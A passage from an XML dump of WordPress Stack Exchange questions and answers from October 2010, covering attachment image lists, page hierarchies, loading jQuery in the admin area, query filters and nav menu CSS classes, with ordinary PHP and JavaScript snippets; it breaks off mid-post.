  <row Id="3016" PostTypeId="1" AcceptedAnswerId="3019" CreationDate="2010-10-18T20:28:46.630" Score="2" ViewCount="401" Body="&lt;p&gt;I have a function &lt;code&gt;get_images()&lt;/code&gt; in which I would like to display all image attachments for the current post (or page) in a list with the last image having a &lt;code&gt;class=&quot;last&quot;&lt;/code&gt; attribute to mark it as the last image in the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code below is my first pass at getting the attached images to display, however, its only listing one image out of the loop so my foreach is botched...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_images() {&#xA;  global $post;&#xA;  $attachment = array_values(get_children(array( &#xA;    'post_parent' =&amp;gt; $post-&amp;gt;ID, &#xA;    'post_type' =&amp;gt; 'attachment', &#xA;    'post_mime_type' =&amp;gt; 'image', &#xA;    'order' =&amp;gt; 'ASC', &#xA;    'numberposts' =&amp;gt; 1 &#xA;  )));&#xA;  if ( $attachment ) {&#xA;    foreach($attachment as $attachmentImage) {&#xA;      echo '&amp;lt;img src=&quot;' . wp_get_attachment_url($attachmentImage-&amp;gt;ID) . &#xA;        '&quot; class=&quot;post-attachment&quot; /&amp;gt;';&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-19T04:23:57.580" LastActivityDate="2010-11-07T14:06:15.577" Title="Display All Post Attachments and Assign Class to the Last Image?" Tags="&lt;php&gt;&lt;post-thumbnails&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="3017" PostTypeId="1" CreationDate="2010-10-18T21:22:37.197" Score="1" ViewCount="140" Body="&lt;p&gt;Lets say we are displaying a few family trees. We are currently on the family tree top-page,and we need our list to look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Family Trees&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The Smiths&lt;/li&gt;&#xA;&lt;li&gt;The Joneses&lt;/li&gt;&#xA;&lt;li&gt;The Does&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When the user clicks the Smiths, we want the list to look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The Smiths&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The Smiths&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Dave&lt;/li&gt;&#xA;&lt;li&gt;Steve&lt;/li&gt;&#xA;&lt;li&gt;Dolly&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;The Joneses&lt;/li&gt;&#xA;&lt;li&gt;The Does&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And when a user clicks on Steve, we want the list to also look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Dave Smith&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The Smiths&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Dave&lt;/li&gt;&#xA;&lt;li&gt;Steve&lt;/li&gt;&#xA;&lt;li&gt;Dolly&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;The Joneses&lt;/li&gt;&#xA;&lt;li&gt;The Does&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, we need to display a list of all subpages and siblings of the current page, as well as all siblings of every step in the hierarchy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1127" LastActivityDate="2010-11-12T22:48:48.140" Title="How to make a list that displays the top level subpages, and any subpages or siblings off of the current page" Tags="&lt;hierarchical&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="3018" PostTypeId="2" ParentId="2993" CreationDate="2010-10-18T21:30:22.723" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;'orderby'&lt;/code&gt; argument should work with &lt;code&gt;get_children()&lt;/code&gt; because &lt;code&gt;get_children()&lt;/code&gt; is really just a wrapper around &lt;code&gt;get_posts()&lt;/code&gt; with a different set of defaults. The menu order refers to the &lt;em&gt;Order&lt;/em&gt; specified in the &lt;strong&gt;Page Attributes&lt;/strong&gt; meta box when editing a Page... not to the order you've sorted a custom menu into.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-10-18T21:30:22.723" />
  <row Id="3019" PostTypeId="2" ParentId="3016" CreationDate="2010-10-18T21:39:10.220" Score="1" ViewCount="" Body="&lt;p&gt;This should do it, I think:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_images() {&#xA;  global $post;&#xA;  $attachment = get_children(array( &#xA;      'post_parent' =&amp;gt; $post-&amp;gt;ID, &#xA;      'post_type' =&amp;gt; 'attachment', &#xA;      'post_mime_type' =&amp;gt; 'image', &#xA;      'order' =&amp;gt; 'ASC', &#xA;      'numberposts'  =&amp;gt; -1 ), &#xA;    ARRAY_N );&#xA;  if ( $attachment ) {&#xA;    $attachment_count = count($attachment);&#xA;    foreach($i=0; $i &amp;lt; $attachment_count; $i++) {&#xA;      $last = ($i == ($attachment_count-1) ) ? ' last' : '';&#xA;      echo '&amp;lt;img src=&quot;' . wp_get_attachment_url($attachment[$i]-&amp;gt;ID) . &#xA;        '&quot; class=&quot;post-attachment'.$last.'&quot; /&amp;gt;';&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-19T04:27:24.197" LastActivityDate="2010-10-19T04:27:24.197" CommentCount="1" />
  <row Id="3020" PostTypeId="1" AcceptedAnswerId="3035" CreationDate="2010-10-18T21:43:32.457" Score="1" ViewCount="1050" Body="&lt;p&gt;I want to use the latest jQuery (and jQuery UI) versions on my admin interface (editing a specific post type that I created).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// jQuery 1.x&#xA;wp_register_script('jquery1x', 'http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js', false, null, true);&#xA;&#xA;// jQuery UI 1.8.4 PTBR&#xA;wp_register_script('jquery-ui-custom-pt_BR', THEME_URL . 'js/jquery.ui.datepicker-pt-BR.js', array('jquery1x'), null, true);&#xA;// jQuery UI 1.8.4  &#xA;wp_register_script('jquery-ui-custom', THEME_URL . 'js/jquery-ui-1.8.4.custom.min.js', array('jquery1x', 'jquery-ui-custom-pt_BR'), null, true);&#xA;&#xA;// jQuery UI 1.8.4 CSS &#xA;wp_register_style('jquery-ui-custom-css', THEME_URL . 'css/smoothness/jquery-ui-1.8.4.custom.css');&#xA;&#xA;wp_enqueue_style('jquery-ui-custom-css');&#xA;wp_enqueue_script('jquery-ui-custom');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it worked but on other WP admin pages I got some jQuery errors because the overrides of jQuery (since it's loaded twice).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I &quot;deregister&quot; the jQuery and register it again (using the latest) it won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's not the first time that I ran into this problem... All I need is to use the latest version of jQuery on my WordPress admin interface to use some features like Datepicker and Colorpicker.. But until now I can't do this using &lt;code&gt;register_script&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I register it with &quot;jquery&quot; name, it won't update because there's already a jQuery loaded by WordPress on this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type='text/javascript' src='http://website.com/wp-admin/load-scripts.php?c=1&amp;amp;amp;load=jquery,utils,nav-menu&amp;amp;amp;ver=2b05c108d9016a4caa470b8edaf40953'&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I can't hack into this &lt;strong&gt;load-scripts.php&lt;/strong&gt; file to change the filename since I don't want to change the WordPress core.&lt;/p&gt;&#xA;" OwnerUserId="1306" LastActivityDate="2010-10-19T05:42:51.997" Title="Use latest jQuery in WordPress (admin interface)" Tags="&lt;admin&gt;&lt;hooks&gt;&lt;jquery&gt;&lt;actions&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="3021" PostTypeId="1" AcceptedAnswerId="3042" CreationDate="2010-10-18T22:18:50.973" Score="0" ViewCount="207" Body="&lt;p&gt;I have attached several images to a post. When viewing the images in the theme, each image is linked to a larger version of itself. I would like to change this link to direct to a specific URL. However, when I change the URL under &quot;Link URL&quot; under attachment options, the link does not stick after clicking &quot;Save All Changes&quot;. It always reverts to the link to the image itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way to create custom links on attached images?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I'm not trying to alter the link TO the image, I'm trying to create a custom link href when the image is clicked.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-10-19T07:19:47.337" Title="How can I customize the link when an attached image is clicked?" Tags="&lt;attachments&gt;" AnswerCount="1" />
  <row Id="3022" PostTypeId="2" ParentId="3020" CreationDate="2010-10-18T22:23:23.443" Score="1" ViewCount="" Body="&lt;p&gt;If you have it working for your custom post type pages and thats all you want, you could just put in a conditional tag checking for the page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_admin() &amp;amp;&amp;amp; $_GET['post_type'] == 'custom_post_type') {&#xA;  // jQuery replacement&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Possibly a better solution would be to take a look at this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/use-google-libraries/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/use-google-libraries/&lt;/a&gt; it will override the default WordPress AJAX libraries with those in google's CDN. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few nice things about this, since so many sites are using the libraries from google, they'll already be cached, you don't have to manually update your libraries.&lt;/p&gt;&#xA;" OwnerUserId="1308" LastActivityDate="2010-10-18T22:23:23.443" CommentCount="1" />
  <row Id="3023" PostTypeId="2" ParentId="2929" CreationDate="2010-10-18T22:26:50.313" Score="0" ViewCount="" Body="&lt;p&gt;Turns out, the simplest solution in the end was to use one of the &quot;Invite Code&quot; plugins, so that only people with a specified invitation code could register. I ended up using Pie Register.&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2010-10-18T22:26:50.313" />
  <row Id="3024" PostTypeId="1" AcceptedAnswerId="3026" CreationDate="2010-10-18T22:40:27.927" Score="0" ViewCount="174" Body="&lt;p&gt;My WP query to fetch some custom posts should exclude private posts, but this query is returning all posts, not just public ones:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$wp_query = new WP_Query( 'post_type=listing&amp;amp;post_status!=private&amp;amp;posts_per_page=9&amp;amp;meta_key=location_level1_value&amp;amp;orderby=location_level1_value&amp;amp;order=ASC&amp;amp;paged='.$paged);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried using post_status=-private, but that didn't work either... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What have I done wrong?&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2010-10-18T22:54:28.517" Title="Why can't I exclude private posts from this query?" Tags="&lt;wp-admin&gt;&lt;query&gt;" AnswerCount="1" />
  <row Id="3025" PostTypeId="2" ParentId="2846" CreationDate="2010-10-18T22:50:16.720" Score="1" ViewCount="" Body="&lt;p&gt;I agree with hakre - something funky is going on elsewhere, those shouldnt be appearing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a sidenote, you could use the jQuery unwrap() function to remove those divs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('div.mceTemp img').unwrap();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://api.jquery.com/unwrap/&quot; rel=&quot;nofollow&quot;&gt;http://api.jquery.com/unwrap/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1308" LastActivityDate="2010-10-18T22:50:16.720" CommentCount="1" />
  <row Id="3026" PostTypeId="2" ParentId="3024" CreationDate="2010-10-18T22:54:28.517" Score="0" ViewCount="" Body="&lt;p&gt;I have to wonder if post_status=public would successfully exclude. That way it's just targeting the public posts.&lt;/p&gt;&#xA;" OwnerUserId="1006" LastActivityDate="2010-10-18T22:54:28.517" CommentCount="3" />
  <row Id="3027" PostTypeId="1" AcceptedAnswerId="3050" CreationDate="2010-10-18T23:09:51.140" Score="0" ViewCount="232" Body="&lt;p&gt;I want to add few custom fields to categories. So I am looking for something like &lt;code&gt;add_meta_box&lt;/code&gt; but for categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any &lt;strong&gt;WP function&lt;/strong&gt; like that for &lt;strong&gt;categories&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2011-06-29T21:53:53.867" Title="anything like add_meta_box for categories?" Tags="&lt;plugin-development&gt;&lt;categories&gt;&lt;custom-field&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="3028" PostTypeId="1" CreationDate="2010-10-19T00:52:38.680" Score="2" ViewCount="134" Body="&lt;p&gt;I'm looking for a Wordpress plugin, similar to &lt;a href=&quot;http://wordpress.org/extend/plugins/email-users/&quot; rel=&quot;nofollow&quot;&gt;Email Users (Wordpress Plugin)&lt;/a&gt; that will allow me to use different custom roles, and allow those custom roles to also send e-mails to all users registered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now only Admin can send e-mails to everyone and only one of the custom roles shows up under groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin appears to support these features, but when I add custom roles, and add the capabilities to these roles, it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin also isn't supported anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other problem is that users, by default, aren't receiving the messages. They have to check a box to be sent the messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for an easy way to e-mail every registered user, in groups and/or as a whole.&lt;/p&gt;&#xA;" OwnerUserId="1310" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-04T12:23:04.073" LastActivityDate="2011-03-16T13:09:36.190" Title="Suggestions for best plugins for e-mailing users?" Tags="&lt;plugin-recommendation&gt;&lt;users&gt;&lt;email&gt;" AnswerCount="2" />
  <row Id="3029" PostTypeId="1" CreationDate="2010-10-19T00:57:55.690" Score="6" ViewCount="799" Body="&lt;p&gt;Given a Vimeo ID, I can retrieve a thumbnail from the video via Vimeo Simple API. Rather than call the API every time my page loads I want to set the image as the post thumbnail using the &lt;code&gt;save_post&lt;/code&gt; hook (similar to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/784/automatically-import-image-into-posts-from-urls-on-the-web&quot;&gt;this question&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I am not familiar with URL calls in php. I would like to know:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;the benefits/drawbacks of using a method like curl compared to &lt;code&gt;WP_Http&lt;/code&gt;. Is one &quot;better&quot; than the other?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the order in which I should call functions to successfully set the post thumbnail.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1309" LastActivityDate="2011-03-20T17:42:03.577" Title="How to retrieve image from URL and set as featured image/post thumbnail" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="4" />
  <row Id="3030" PostTypeId="1" CreationDate="2010-10-19T01:18:41.217" Score="0" ViewCount="184" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2982/displaying-images-from-external-rss-feeds&quot;&gt;Displaying images from external RSS feeds?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;currently i'm using wordpress3.0.. i want to put other site feeds on my wordpress page..such as rss feeds from the joomla site... currently the feeds just get the text of the feeds..it does'nt get the thumbnail image..how can i solve this problem..plizzz help me&lt;/p&gt;&#xA;" OwnerUserId="1295" LastActivityDate="2010-10-19T18:44:31.470" ClosedDate="2010-10-19T19:21:44.927" Title="How to insert RSS feeds in Wordpress" Tags="&lt;3.0&gt;&lt;rss&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="3031" PostTypeId="2" ParentId="3002" CreationDate="2010-10-19T02:33:24.440" Score="0" ViewCount="" Body="&lt;p&gt;I'd probably define my own widget areas that get whatever widgets are put into it in the admin area, and only put that widget area in a specific location in the theme. &lt;/p&gt;&#xA;" OwnerUserId="1006" LastActivityDate="2010-10-19T02:33:24.440" CommentCount="2" />
  <row Id="3032" PostTypeId="1" AcceptedAnswerId="3043" CreationDate="2010-10-19T04:13:41.520" Score="0" ViewCount="111" Body="&lt;p&gt;I am so happy that I found this site =)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, here is my problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to display the wp comments right after the post, but before the plugins content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have tried so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in single-products.php file, the original code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_content(); ?&amp;gt;&#xA;&amp;lt;?php wp_link_pages(array('before' =&amp;gt; '&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;'.__('Pages','eStore').':&amp;lt;/strong&amp;gt; ', 'after' =&amp;gt; '&amp;lt;/p&amp;gt;', 'next_or_number' =&amp;gt; 'number')); ?&amp;gt;&#xA;&amp;lt;?php edit_post_link(__('Edit this page','eStore')); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried put the comments(comments_template()) before and after the &quot;the_content()&quot;, but its not correct. If I put:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Before the_content(), it displays the comments section before the real content&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After the_content(), the comments are displayed below others plugin (simple social and Five rate stars plugins)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to insert in between them, I mean, between the post and plugins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI: The theme that I am using, didnt display comment, so I have to display/enable it by myself. I am using wp 3.0.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugin I am using:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Plugin Name: Five Star Rating (http://fsr.dingobytes.com)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Plugin Name: Simple Social - Sharing Widgets &amp;amp; Icons (Version: 0.2)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-10-20T07:16:09.627" LastActivityDate="2010-10-20T07:16:09.627" Title="Display WordPress comments before the plugins?" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;themes&gt;&lt;comments&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="3033" PostTypeId="2" ParentId="3029" CreationDate="2010-10-19T04:17:22.053" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@David John Smith&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) If you are in WordPress, (almost) always use &lt;code&gt;WP_Http&lt;/code&gt;; it's one of the many things I love about working with WordPress. Why call it and not CURL?  Well, because it has a nicer syntax and it calls CURL if CURL is available. If not, it chooses from one of 3 other options. So it really is a brilliant piece of kit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) To answer the 2nd question I'll need to know how you want to name the files you are downloading?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-19T04:17:22.053" CommentCount="6" />
  <row Id="3034" PostTypeId="2" ParentId="3014" CreationDate="2010-10-19T05:25:38.423" Score="9" ViewCount="" Body="&lt;p&gt;There's a simpler solution. Forget creating pages for each post type just so you can have nav items, because as you have learned, WP has no way of recognizing that the custom types you are browsing are related to that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, create a custom link in Appearance-&gt;Menus. Just put the URL that will return your custom type and give it a label, then press &quot;Add to Menu&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/workshops/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or non-pretty-permalinks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/?post_type=workshops&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;this alone will simply create a nav button which displays all posts with that custom post type, and will also add the current-menu-item class when you've clicked that nav item - but it won't yet add the nav class on any URL other than this one&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, once it's created, go into the configuration for that new item, and enter the slug of the custom post type in the &quot;Title Attribute&quot; field (you could also use the description field, but that one is hidden in the admin screen options by default).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you need to hook the &lt;code&gt;nav_menu_css_class&lt;/code&gt; filter (which gets fired for each nav item) and check if the content being viewed is of the post type indicated in your custom nav item:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('nav_menu_css_class', 'current_type_nav_class', 10, 2 );&#xA;function current_type_nav_class($classes, $item) {&#xA;    $post_type = get_query_var('post_type');&#xA;    if ($item-&amp;gt;attr_title != '' &amp;amp;&amp;amp; $item-&amp;gt;attr_title == $post_type) {&#xA;        array_push($classes, 'current-menu-item');&#xA;    };&#xA;    return $classes;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case, we're going to check that the Title Attribute field contents aren't empty and if they match the current post_type being queried. If so, we add the current-menu-item class to its class array, then return the modified array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could modify this to simply match the title of the nav item, but if for some reason you want to title the nav item differently than the plain slug of the post type, using the Title Attribute or Description field gives you that flexibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now any time you're viewing a single item (or probably even archive listings) of a post type that matches a nav menu item, that item will be given the CSS class current-menu-item so your highlighting will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No pages or page templates needed ;-) The URL query takes care of fetching the right posts. Your loop template takes care of displaying query output. This function takes care of recognizing what's being shown and adding the CSS class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BONUS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can even automate the process using &lt;code&gt;wp_update_nav_menu_item&lt;/code&gt;, by having menu items automatically generated for all your post types. For this example, you would need first to have retrieved the &lt;code&gt;$menu_id&lt;/code&gt; of the nav menu you want this items added to.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$types = get_post_types( array( 'exclude_from_search' =&amp;gt; false, '_builtin' =&amp;gt; false  ), 'objects' );&#xA;foreach ($types as $type) {&#xA;    wp_update_nav_menu_item( $menu_id, 0, array(&#xA;        'menu-item-type' =&amp;gt; 'custom',&#xA;        'menu-item-title' =&amp;gt; $type-&amp;gt;labels-&amp;gt;name,&#xA;        'menu-item-url' =&amp;gt; get_bloginfo('url') . '/?post_type=' . $type-&amp;gt;rewrite['slug'],&#xA;        'menu-item-attr-title' =&amp;gt; $type-&amp;gt;rewrite['slug'],&#xA;        'menu-item-status' =&amp;gt; 'publish'&#xA;        )&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="838" LastActivityDate="2011-03-03T17:38:02.560" CommentCount="1" />
  <row Id="3035" PostTypeId="2" ParentId="3020" CreationDate="2010-10-19T05:42:51.997" Score="6" ViewCount="" Body="&lt;p&gt;deregister doesn't work for you because WP concatenates scripts in admin area by default. So when you make jQuery load from elsewhere it falls apart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can disable concatenation to make it work (add conditionals as needed):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_init', 'jquery_admin' );&#xA;&#xA;function jquery_admin() {&#xA;&#xA;    global $concatenate_scripts;&#xA;&#xA;    $concatenate_scripts = false;&#xA;    wp_deregister_script( 'jquery' );&#xA;    wp_register_script( 'jquery', ( 'http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js' ), false, '1.x', true );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PS many thanks for trick with loading latest version from Google, I wasn't aware of it :)&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-19T05:42:51.997" CommentCount="3" />
  <row Id="3036" PostTypeId="2" ParentId="3032" CreationDate="2010-10-19T05:54:08.560" Score="0" ViewCount="" Body="&lt;p&gt;As I understand &lt;em&gt;plugins&lt;/em&gt; you refer to add their output to the output of &lt;code&gt;the_content()&lt;/code&gt; function. You can use &lt;code&gt;the_content&lt;/code&gt; filter to achieve similar result in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But because it is filter - result is meant to be appended or otherwise included in data being passed, it's not a good place to load templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think best way to approach this would be to disable plugins appending themselves to content (usually they have such option, they kinda should) and call them directly in template. That way you will be able to load comments template without issues and put it in order you want.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-19T05:54:08.560" CommentCount="3" />
  <row Id="3037" PostTypeId="2" ParentId="2988" CreationDate="2010-10-19T06:48:00.440" Score="3" ViewCount="" Body="&lt;p&gt;I prefer hooks, since they are more flexible: you can hook into them from your theme's &lt;code&gt;functions.php&lt;/code&gt; file, but also from plugins. I try to put as much logic in plugins, so that the themes contain mostly layout stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use an action hook, it is still possible to use &lt;code&gt;get_template_part()&lt;/code&gt; &lt;em&gt;in that hook handler&lt;/em&gt;. This gives you the best of both worlds. You could probably even create a default hook that calls &lt;code&gt;get_template_part()&lt;/code&gt;, so that people who don't have much experience with coding can add extra files, and others can remove this hook if they don't want to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding performance: &lt;code&gt;get_template_part()&lt;/code&gt; uses (&lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/theme.php#L1044&quot; rel=&quot;nofollow&quot;&gt;in &lt;code&gt;locate_template()&lt;/code&gt;&lt;/a&gt;) &lt;code&gt;file_exists()&lt;/code&gt; one, two or four times (depending on how you call it). It appears &lt;a href=&quot;http://stackoverflow.com/questions/316629/is-file-exist-in-php-a-very-expensive-operation/316848#316848&quot;&gt;&lt;code&gt;file_exists()&lt;/code&gt; is very fast&lt;/a&gt;, and &lt;a href=&quot;http://php.net/clearstatcache&quot; rel=&quot;nofollow&quot;&gt;uses caching in PHP&lt;/a&gt; and maybe even in the OS. So that is probably not an issue.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-19T06:48:00.440" CommentCount="1" />
  <row Id="3038" PostTypeId="1" CreationDate="2010-10-19T06:48:33.457" Score="1" ViewCount="450" Body="&lt;p&gt;this question has been answered on stackoverflow.&#xA;here is a link &lt;a href=&quot;http://stackoverflow.com/questions/4321914/wp-insert-post-with-a-form/4321975#4321975&quot;&gt;http://stackoverflow.com/questions/4321914/wp-insert-post-with-a-form/4321975#4321975&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'm trying to let users post to my site by using the &lt;code&gt;wp_insert_post()&lt;/code&gt; function..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $postTitle = $_POST['post_title'];&#xA;    $post = $_POST['post'];&#xA;    $submit = $_POST['submit'];&#xA;&#xA;    if(isset($submit)){&#xA;&#xA;        global $user_ID;&#xA;&#xA;        $new_post = array(&#xA;            'post_title' =&amp;gt; $postTitle,&#xA;            'post_content' =&amp;gt; $post,&#xA;            'post_status' =&amp;gt; 'publish',&#xA;            'post_date' =&amp;gt; date('Y-m-d H:i:s'),&#xA;            'post_author' =&amp;gt; $user_ID,&#xA;            'post_type' =&amp;gt; 'post',&#xA;            'post_category' =&amp;gt; array(7,100)&#xA;        );&#xA;&#xA;        wp_insert_post($new_post);&#xA;&#xA;    }&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got this hooked up to a form on a category page &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;&quot;&amp;gt; &#xA;&amp;lt;input type=&quot;text&quot; name=&quot;post_title&quot; size=&quot;45&quot; 